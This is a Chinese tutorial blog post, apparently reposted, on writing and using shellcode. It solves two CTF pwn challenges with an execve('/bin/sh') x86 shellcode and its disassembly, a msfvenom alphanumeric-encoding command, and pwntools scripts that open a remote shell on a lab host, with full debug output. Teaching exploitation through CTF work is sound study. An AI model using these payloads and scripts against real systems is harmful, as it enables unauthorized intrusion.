ShellCode的编写和利用

ShellCode的编写和利用

原文链接:https://hvnt3r.top/2018/10/Shell-code的编写和利用/
在渗透测试和漏洞利用中,Shellcode是一个十分重要的部分,在二进制的安全研究中,Shellcode也充当着十分重要的角色,本文会记录我学习Shellcode的编写和利用原理。

在程序中嵌入Shellcode并执行

首先拿一道十分简单的PWN题来演示程序是如何执行Shellcode

文件下载

首先,这是一个32位的程序,我把它放到了32位的kali虚拟机中

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

程序开启了NXCANARY,实际上并没有检查此程序开启的安全措施的必要,因为分析IDA中的伪C代码可知,此程序会将用户输入的数据当作汇编代码进行执行,代码如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ST2C_4
  void *v4; // ST30_4
  int v5; // ST38_4
  char s; // [esp+3Ch] [ebp-84h]
  unsigned int v8; // [esp+BCh] [ebp-4h]

  v8 = __readgsdword(0x14u);
  v3 = open("/home/challenge/flag", 0);
  setbuf(_bss_start, 0);
  setbuf(stdout, 0);
  alarm(0x1Eu);
  v4 = mmap(0, 0x80u, 7, 34, -1, 0);
  memset(v4, 195, 0x7Fu);
  memset(&s, 0, 0x7Fu);
  puts("OpenCTF tyro shellcode challenge.\n");
  puts("Write me some shellcode that reads from the file_descriptor");
  puts("I supply and writes it to the buffer that I supply");
  printf("%d ... 0x%08x\n", v3, &s);
  read(0, v4, 0x20u);
  v5 = ((int (*)(void))v4)();
  puts(&s);
  return v5;
}

通过分析汇编代码可知程序会使用call eax的方式来运行用户的输入

.text:08048721                 mov     dword ptr [esp], offset format ; "%d ... 0x%08x\n"
.text:08048728                 call    _printf
.text:0804872D                 mov     dword ptr [esp+8], 20h ; nbytes
.text:08048735                 mov     eax, [esp+30h]
.text:08048739                 mov     [esp+4], eax    ; buf
.text:0804873D                 mov     dword ptr [esp], 0 ; fd
.text:08048744                 call    _read
.text:08048749                 mov     eax, [esp+30h]
.text:0804874D                 mov     [esp+34h], eax
.text:08048751                 mov     eax, [esp+34h]
.text:08048755                 call    eax         <================== Here
.text:08048757                 mov     [esp+38h], eax
.text:0804875B                 lea     eax, [esp+0C0h+s]
.text:0804875F                 mov     [esp], eax      ; s

因此我们可以吧要执行的汇编代码通过pwntools来输入到此程序中达到执行的目的,这里我们要输入的一些能达到某种执行效果的汇编代码即为shellcode,这里有一个网站,上面有很多经典又实用的shellcode,shell-storm.org,网站的维护者同时是ROPgadget的作者,话不多说,膜就完事了。

Jonathan Salwan

ShellCode的编写和利用_第1张图片

本程序为用户的输入开启了read(0, v4, 0x20u);即32个字节的空间,因此我们可以在这个网站上找到一个长度满足要求的shellcode以填充我们的输入:

#include 
#include 

unsigned char shellcode[] = \

"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
"\x80";

main ()
{

    // When contains null bytes, printf will show a wrong shellcode length.

	printf("Shellcode Length:  %d\n", strlen(shellcode));

	// Pollutes all registers ensuring that the shellcode runs in any circumstance.

	__asm__ ("movl $0xffffffff, %eax\n\t"
		 	 "movl %eax, %ebx\n\t"
			 "movl %eax, %ecx\n\t"
			 "movl %eax, %edx\n\t"
			 "movl %eax, %esi\n\t"
			 "movl %eax, %edi\n\t"
			 "movl %eax, %ebp\n\t"
			 // Calling the shellcode
			 "call shellcode");
}

shellcode

\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

我们可以直接使用pwntools攻击一下此程序,脚本如下:

from pwn import *
io=remote('192.168.229.140',10001)
shellcode='\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
print io.recv()
io.send(shellcode)
io.interactive()

运行程序即可执行/bin/sh进行远程交互,为了搞清楚这一段shellcode做了什么,我们需要将这一段shell code转换为汇编代码,将shellcode转换为汇编的方式有很多种,我这里使用的方法是用Ollydbg转换,首先,随便用OD打开一个二进制文件,随后复制shellcode的内容,再随意选中OD中汇编框中长度足够的区域,点击右键,选择二进制粘贴,把shellcode粘贴到文件中:

ShellCode的编写和利用_第2张图片

此时OD会自动把shellcode对应的数据转化为汇编代码:

31C9            xor ecx,ecx
F7E1            mul ecx
B0 0B           mov al,0xB
51              push ecx
68 2F2F7368     push 0x68732F2F
68 2F62696E     push 0x6E69622F
89E3            mov ebx,esp
CD 80           int 0x80

可见,这一段shell code调用了系统软中断,相关的详细信息在我之前的博文中有介绍:通过int 80h执行系统命令,这段shellcode就是设置好了调用系统函数的参数并调用的。

Shellcode变形

当然百分之99的情况下程序并不会像上面那个例子直接执行用户所给的代码,在BSides San Francisco CTF 2017b_64_b_tuff

文件下载

用IDA查看主要的逻辑:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *s; // ST2C_4
  void *v5; // [esp+0h] [ebp-18h]
  void *buf; // [esp+4h] [ebp-14h]
  ssize_t v7; // [esp+8h] [ebp-10h]

  alarm(0xAu);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  v5 = mmap((void *)0x41410000, 0x1558u, 7, 34, 0, 0);
  printf("Address of buffer start: %p\n", v5);
  buf = malloc(0x1000u);
  v7 = read(0, buf, 0x1000u);
  if ( v7 < 0 )
  {
    puts("Error reading!");
    exit(1);
  }
  printf("Read %zd bytes!\n", v7);
  s = (char *)base64_encode((int)buf, v7, v5);
  puts(s);
  ((void (*)(void))v5)();
  return 0;
}

跟上一个例子类似,程序会将用户输入的代码执行,不过区别在于程序会先把用户输入的数据进行base64解码,那么问题来了,进行base64加密的时候只支持英文字母的大小写+/,但是在shellcode中有很多不可打印的字符,因此我们需要对shellcode进行一定的处理使得shellcodebase64解码后能正常的执行。

是时候祭出大杀器msfvenom了,msfvenom是kali下的一款神器,有很多好玩有趣的功能,感兴趣可以自己谷歌一下玩法,但是msfvenom只支持stdin的方式传参,因此我们用python加上管道操作向msfvenom传参,我们选用x86/alpha_mixed这个过滤器来生成只有大小写字母的shellcode,因为程序中是使用call eax调用shellcode的,因此我们需要将BufferRegister设置为EAX

.text:08048891                 call    _puts
.text:08048896                 add     esp, 10h
.text:08048899                 mov     eax, [ebp+var_18]
.text:0804889C                 call    eax     <=========== call shellcode
.text:0804889E                 mov     eax, 0
.text:080488A3                 mov     ecx, [ebp+var_4]
.text:080488A6                 leave

生成payload

⚡ root@kali  python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 96 (iteration=0)
x86/alpha_mixed chosen with final size 96
Payload size: 96 bytes
Saved as: payload
 ⚡ root@kali  l
总用量 24K
drwxr-xr-x 2 root root 4.0K 10月 30 06:45 .
drwxr-xr-x 8 root root 4.0K 10月 18 03:25 ..
-rwxr-xr-x 1 root root 7.7K 1月  30  2018 b-64-b-tuff
-rw-r--r-- 1 root root  502 2月   1  2018 exp.py
-rw-r--r-- 1 root root   96 10月 30 06:45 payload
 ⚡ root@kali  cat payload 
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI01o9ygYqH0fk61CXVOtoD3rHaxto52pibNMYYsjmK0AA#                                  

得到改造过的shellcode之后我们就可以通过脚本向程序传递shellcode了:

from pwn import *
from base64 import *
io=remote('192.168.229.140',10001)
context(os='linux', arch='i386', log_level='debug')
shellcode=b64decode('PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI01o9ygYqH0fk61CXVOtoD3rHaxto52pibNMYYsjmK0AA')
print io.recv()
io.sendline(shellcode)
io.interactive()

运行结果:

⚡ root@kali  python 1.py
[+] Opening connection to 192.168.229.140 on port 10001: Done
[DEBUG] Received 0x24 bytes:
    'Address of buffer start: 0x41410000\n'
Address of buffer start: 0x41410000

[DEBUG] Sent 0x49 bytes:
    00000000  3d 82 08 20  82 08 20 82  08 20 82 08  20 8e d0 66  │=·· │·· ·│· ··│ ··f│
    00000010  30 17 3f 40  34 02 40 00  43 60 01 d8  10 74 04 10  │0·?@│4·@·│C`··│·t··│
    00000020  01 5c ff 00  06 e2 48 d3  5a 3d ca 06  2a 1f 47 e4  │·\··│··H·│Z=··│*·G·│
    00000030  eb 50 97 54  eb 68 0f 7a  c7 6b 1b 68  e7 6a 62 6c  │·P·T│·h·z│·k·h│·jbl│
    00000040  d3 18 62 c8  e6 2b 40 00  0a                        │··b·│·+@·│·│
    00000049
[*] Switching to interactive mode
[DEBUG] Received 0x5e bytes:
    00000000  3d 82 5e 48  20 82 5e 48  20 82 5e 48  20 82 5e 48  │=·^H│ ·^H│ ·^H│ ·^H│
    00000010  20 8e d0 66  30 5e 57 3f  40 34 5e 42  40 5e 40 43  │ ··f│0^W?│@4^B│@^@C│
    00000020  60 5e 41 d8  5e 50 74 5e  44 5e 50 5e  41 5c ff 5e  │`^A·│^Pt^│D^P^│A\·^│
    00000030  40 5e 46 e2  48 d3 5a 3d  ca 5e 46 2a  5e 5f 47 e4  │@^F·│H·Z=│·^F*│^_G·│
    00000040  eb 50 97 54  eb 68 5e 4f  7a c7 6b 5e  5b 68 e7 6a  │·P·T│·h^O│z·k^│[h·j│
    00000050  62 6c d3 5e  58 62 c8 e6  2b 40 5e 40  5e 4a        │bl·^│Xb··│+@^@│^J│
    0000005e
=\x82^H \x82^H \x82^H \x82^H \x8e�f0^W?@4^B@^@C`^A�^Pt^D^P^A\\xff^@^F�H�Z=�^F*^_G��P\x97T�h^Oz�k^[h�j[DEBUG] Received 0x74 bytes:
    'Read 73 bytes!\n'
    'PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI01o9ygYqH0fk61CXVOtoD3rHaxto52pibNMYYsjmK0AACg==\n'
Read 73 bytes!
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI01o9ygYqH0fk61CXVOtoD3rHaxto52pibNMYYsjmK0AACg==
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x4 bytes:
    'ls^J'
ls^J[DEBUG] Received 0x14 bytes:
    'b-64-b-tuff  exp.py\n'
b-64-b-tuff  exp.py
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Closed connection to 192.168.229.140 port 10001

你可能感兴趣的:(Windows安全)